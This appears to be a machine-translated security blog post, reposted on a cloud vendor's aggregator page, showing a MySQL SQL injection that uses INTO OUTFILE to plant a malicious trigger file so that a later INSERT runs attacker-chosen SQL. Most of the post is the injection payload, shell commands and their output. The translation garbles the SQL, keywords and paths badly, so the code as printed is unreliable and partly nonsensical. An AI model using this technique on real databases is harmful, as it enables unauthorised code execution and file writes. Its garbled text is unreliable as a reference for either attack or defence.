MySQL stacked query and SQL Injection

Source: Internet
Author: User

Text/superhei
 
 
I didn't perform the test at the time. I tested it today and recorded it.
 
 
 
Decrease aa. article;
+ ----------- + -------------- + ------ + ----- + --------- + ---------------- +
| FIELD | type | NULL | key | default | extra |
+ -------- --- + -------------- + ------ + ----- + --------- + -------- +
| Articleid | INT (11) | No. | priority | NULL | AUTO_INCREMENT |
| Title | VARCHAR (100) | No. |
Content | text | no | null |
+ ----------- + -------------- + ------ + ----- + --------- + ---------------- +
3 rows (0.01 seconds)
 
Execute the statement:
SELECT * from Article articleid = 3 and 1 = 2 union select null, NULL, 'Type = trigger "into OUTFILE
'/Var/lib/MySQL/AA/article. the 'root' @ 'localhost' of create definer of TRG "\ ntriggers = \ 'triggers ATK \ nbegin \ n to select 1111 to OUTFILE
 
SELECT * from Article articleid = 3 and 1 = 2 union select null, NULL, type = trigger INTO OUTFILE
-> '/VAR/LIB/MYSQL/AA/article. TRG "wire end" \ ntriggers = \ 'create DEFINER's 'root' @ 'localhost' each line inserted by the user triggers ATK \ nbegin \ n to select 1111 into outfile.
(0.04 seconds) OK, one line is affected
 
Local file:
Root @ Ubuntu:/VAR/LIB/MYSQL/AA # Cat article. TRG
\ N \ N triggers
Trigger = 'create DEFINER's 'root' @ 'localhost' after the attack is triggered, insert \ nbegin \ n for each row to select 1111 INTO OUTFILE
 
 
 
 
 
LS/tmp/aa.txt File
LS: inaccessible/tmp/aa.txt file: the file or directory does not exist
 
Return to the mysql shell and execute:
 
MySQL> insert to article (articleid, title, content) value (20, 2, 3 );
1 row affected (0.00 seconds) query OK,
 
Let's look at the file:
Root @ Ubuntu:/VAR/LIB/MYSQL/AA # In the ls/tmp/aa.txt File
/Tmp/aa.txt File
Ubuntu:/VAR/lib directory/MYSQL/AA # Cat
 
 
:)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.